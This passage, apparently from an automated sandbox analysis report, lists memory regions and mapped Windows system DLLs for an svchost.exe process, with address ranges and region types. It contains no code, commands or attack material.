SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c0a0" [0xc000000f], "LOCAL" [0x7] Region: id = 3115 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3116 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 3117 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3118 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3119 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3120 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 3121 start_va = 0x70000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 3122 start_va = 0xb0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3123 start_va = 0x130000 end_va = 0x196fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3124 start_va = 0x1a0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3125 start_va = 0x260000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 3126 start_va = 0x280000 end_va = 0x28cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 3127 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 3128 start_va = 0x2a0000 end_va = 0x2f2fff monitored = 0 entry_point = 0x2b3310 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 3129 start_va = 0x300000 end_va = 0x300fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 3130 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 3131 start_va = 0x410000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 3132 start_va = 0x510000 end_va = 0x697fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 3133 start_va = 0x6a0000 end_va = 0x820fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 3134 start_va = 0x830000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 3135 start_va = 0x850000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 3136 start_va = 0x870000 end_va = 0x870fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 3137 start_va = 0x880000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 3138 start_va = 0x890000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 3139 start_va = 0x990000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3140 start_va = 0xa90000 end_va = 0xa90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 3141 start_va = 0xaa0000 end_va = 0xaa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 3142 start_va = 0xab0000 end_va = 0xab0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 3143 start_va = 0xac0000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3144 start_va = 0xb40000 end_va = 0xb41fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 3145 start_va = 0xb50000 end_va = 0xb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b50000" filename = "" Region: id = 3146 start_va = 0xb60000 end_va = 0xb61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 3147 start_va = 0xb70000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 3148 start_va = 0xbf0000 end_va = 0xbf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 3149 start_va = 0xc00000 end_va = 0xc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 3150 start_va = 0xc80000 end_va = 0xc80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 3151 start_va = 0xcc0000 end_va = 0xf8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3152 start_va = 0xf90000 end_va = 0xff1fff monitored = 0 entry_point = 0xfa08d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 3153 start_va = 0x1020000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 3154 start_va = 0x10a0000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 3155 start_va = 0x1160000 end_va = 0x1167fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 3156 start_va = 0x1180000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 3157 start_va = 0x1200000 end_va = 0x127ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 3158 start_va = 0x1360000 end_va = 0x13dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 3159 start_va = 0x13f0000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 3160 start_va = 0x1490000 end_va = 0x150ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 3161 start_va = 0x1530000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 3162 start_va = 0x15b0000 end_va = 0x16affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 3163 start_va = 0x16d0000 end_va = 0x174ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 3164 start_va = 0x1830000 end_va = 0x1a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001830000" filename = "" Region: id = 3165 start_va = 0x1ac0000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 3166 start_va = 0x1b40000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b40000" filename = "" Region: id = 3167 start_va = 0x1f70000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 3168 start_va = 0x2020000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 3169 start_va = 0x2050000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 3170 start_va = 0x21b0000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 3171 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 3172 start_va = 0x2250000 end_va = 0x22cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 3173 start_va = 0x2330000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 3174 start_va = 0x23b0000 end_va = 0x27b2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 3175 start_va = 0x27d0000 end_va = 0x284ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 3176 start_va = 0x2970000 end_va = 0x29effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 3177 start_va = 0x2a70000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 3178 start_va = 0x2bc0000 end_va = 0x2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 3179 start_va = 0x2c40000 end_va = 0x2d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c40000" filename = "" Region: id = 3180 start_va = 0x2d40000 end_va = 0x353ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 3181 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3182 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3183 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3184 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3185 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3186 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3187 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3188 start_va = 0xffaa0000 end_va = 0xffb01fff monitored = 0 entry_point = 0xffab08d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 3189 start_va = 0x7fef2480000 end_va = 0x7fef249afff monitored = 0 entry_point = 0x7fef2481198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 3190 start_va = 0x7fef24a0000 end_va = 0x7fef254dfff monitored = 0 entry_point = 0x7fef24a4104 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 3191 start_va = 0x7fef2550000 end_va = 0x7fef2674fff monitored = 0 entry_point = 0x7fef25a1570 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 3192 start_va = 0x7fef2680000 end_va = 0x7fef269bfff monitored = 0 entry_point = 0x7fef2681060 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 3193 start_va = 0x7fef8690000 end_va = 0x7fef869afff monitored = 0 entry_point = 0x7fef86912e0 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 3194 start_va = 0x7fef8720000 end_va = 0x7fef8734fff monitored = 0 entry_point = 0x7fef87212a0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 3195 start_va = 0x7fef8740000 end_va = 0x7fef8758fff monitored = 0 entry_point = 0x7fef874177c region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 3196 start_va = 0x7fef8b90000 end_va = 0x7fef8b97fff monitored = 0 entry_point = 0x7fef8b91414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 3197 start_va = 0x7fef9000000 end_va = 0x7fef9012fff monitored = 0 entry_point = 0x7fef9001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3198 start_va = 0x7fef92e0000 end_va = 0x7fef92edfff monitored = 0 entry_point = 0x7fef92e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3199 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3200 start_va = 0x7fef9320000 end_va = 0x7fef93f2fff monitored = 0 entry_point = 0x7fef9398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3201 start_va = 0x7fef9580000 end_va = 0x7fef95f6fff monitored = 0 entry_point = 0x7fef95be7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 3202 start_va = 0x7fefa4b0000 end_va = 0x7fefa4c7fff monitored = 0 entry_point = 0x7fefa4b1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3203 start_va = 0x7fefa4d0000 end_va = 0x7fefa4e0fff monitored = 0 entry_point = 0x7fefa4d16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3204 start_va = 0x7fefa520000 end_va = 0x7fefa572fff monitored = 0 entry_point = 0x7fefa522b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3205 start_va = 0x7fefa5b0000 end_va = 0x7fefa5eafff monitored = 0 entry_point = 0x7fefa5b4520 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 3206 start_va = 0x7fefa640000 end_va = 0x7fefa68efff monitored = 0 entry_point = 0x7fefa642760 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 3207 start_va = 0x7fefa690000 end_va = 0x7fefa6e0fff monitored = 0 entry_point = 0x7fefa69f6c0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 3208 start_va = 0x7fefa700000 end_va = 0x7fefa707fff monitored = 0 entry_point = 0x7fefa70284c region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 3209 start_va = 0x7fefa710000 end_va = 0x7fefa719fff monitored = 0 entry_point = 0x7fefa711adc region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 3210 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3211 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3212 start_va = 0x7fefa8e0000 end_va = 0x7fefa8f4fff monitored = 0 entry_point = 0x7fefa8e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3213 start_va = 0x7fefac00000 end_va = 0x7fefac08fff monitored = 0 entry_point = 0x7fefac01010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 3214 start_va = 0x7fefac10000 end_va = 0x7fefac3bfff monitored = 0 entry_point = 0x7fefac115c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3215 start_va = 0x7fefac40000 end_va = 0x7fefacebfff monitored = 0 entry_point = 0x7fefac56acc region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 3216 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3217 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 3218 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 3219 start_va = 0x7fefb1b0000 end_va = 0x7fefb1fafff monitored = 0 entry_point = 0x7fefb1befcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 3220 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3221 start_va = 0x7fefbc90000 end_va = 0x7fefbe25fff monitored = 0 entry_point = 0x7fefbc978e4 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 3222 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3223 start_va = 0x7fefbe40000 end_va = 0x7fefbefafff monitored = 0 entry_point = 0x7fefbe46de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 3224 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3225 start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3226 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3227 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3228 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3229 start_va = 0x7fefc380000 end_va = 0x7fefc3dafff monitored = 0 entry_point = 0x7fefc386940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3230 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3231 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3232 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3233 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3234 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3235 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3236 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3237 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3238 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3239 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3240 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3241 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3242 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3243 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3244 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3245 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3246 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 3247 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3248 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3249 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3250 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3251 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3252 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3253 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3254 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 